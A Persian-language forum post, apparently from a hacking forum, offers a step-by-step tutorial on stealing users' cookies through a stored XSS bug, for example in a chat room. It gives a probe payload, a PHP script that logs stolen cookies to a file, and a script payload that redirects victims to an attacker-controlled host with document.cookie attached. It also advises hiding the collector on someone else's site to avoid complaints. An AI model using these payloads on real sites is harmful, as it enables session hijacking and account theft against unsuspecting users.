discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

با سلام خدمت شما دوستان عزیز

یکی از دوستان آموزش باگ  xss رو درخواست داشت که قرار دادم . 

 

 

Cross Site Scripting

 

روش کار :‌

با دستورات javascript شما رو به یه لینک ریدایرکت می کنه و کوکی های کاربران رو به شما میده .

 

 

خب حالا بریم سراغ کارمون .(فقط روی سایت هایی که باگ xss دارند میشه )

مرحله ۱ :‌

برای مثال یه چت روم هست که پیام میدید شما توش به جای پیام این متن رو ارسال میکنید :‌

<script>alert('Error')</script>

اگر زمان واردشدن در صفحه در قالب خطا به شما error رو نمایش داد (به صورت هشدار مثلا)  یعنی سایت باگ رو داره .

 

مرحله ۲ :

در یک سایت که مال خودتون هست یک فایل به نام xss.php درست کنید و این کد php رو درش قرار دهید

<?php 
    $cookie=$_GET['c'];
    $fo=fopen('cookie.html','a');
    fwrite($fo,'Cookie:'.$cookie.'<br><br><br>---------------------------------------<br><br><br>');
    fclose($fo);
?>

 

مرحله ۳ :

در قسمت ارسال پیام یک پیام دیگر ارسال کنید دارای این کد javascript : 

<script>document.location="http://site.com/xss.php?c=" + document.cookie </script>
یا
<script>document.location="http://site.com/xss.php?c="%2bdocument.cookie </script>

به جای site.com ادرس سایت خودتون رو بدید که فایل xss.php رو درش گذاشتید . 

 

 

مرحله ۴ : 

وارد این ادرس شوید :

http://site.com/cookie.html

و زمانی که کاربران اون پیام شما رو می بینند ریدایرکت میشن به این ادرس site.com/xss.php و کوکی های اونا توی فایلی

به اسم cookie.html برای شما زخیره می شود .

 

 

 

نکات مهم زمان انجام این عمل :

۱- هیچ وقت روی سایت خودتون فایل ها رو نسازید چون اگر یه نفر متوجه بشه از سایتتون شکایت میکنه و.... 

۲- روی سایت های ایرانی هیچ وقت انجام ندید .

۳- این باگ در جاهای مختلف سایت می تونه باشه مثل باکس جست و جو و بخش نظرات و...

۴- روش های خیلی زیادی برای استفاده از این باگ وجود دارد .

 

 

 

اختصاصی Mr.MSA لایک فراموش نشه !

موفق و پیروز باشید . 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری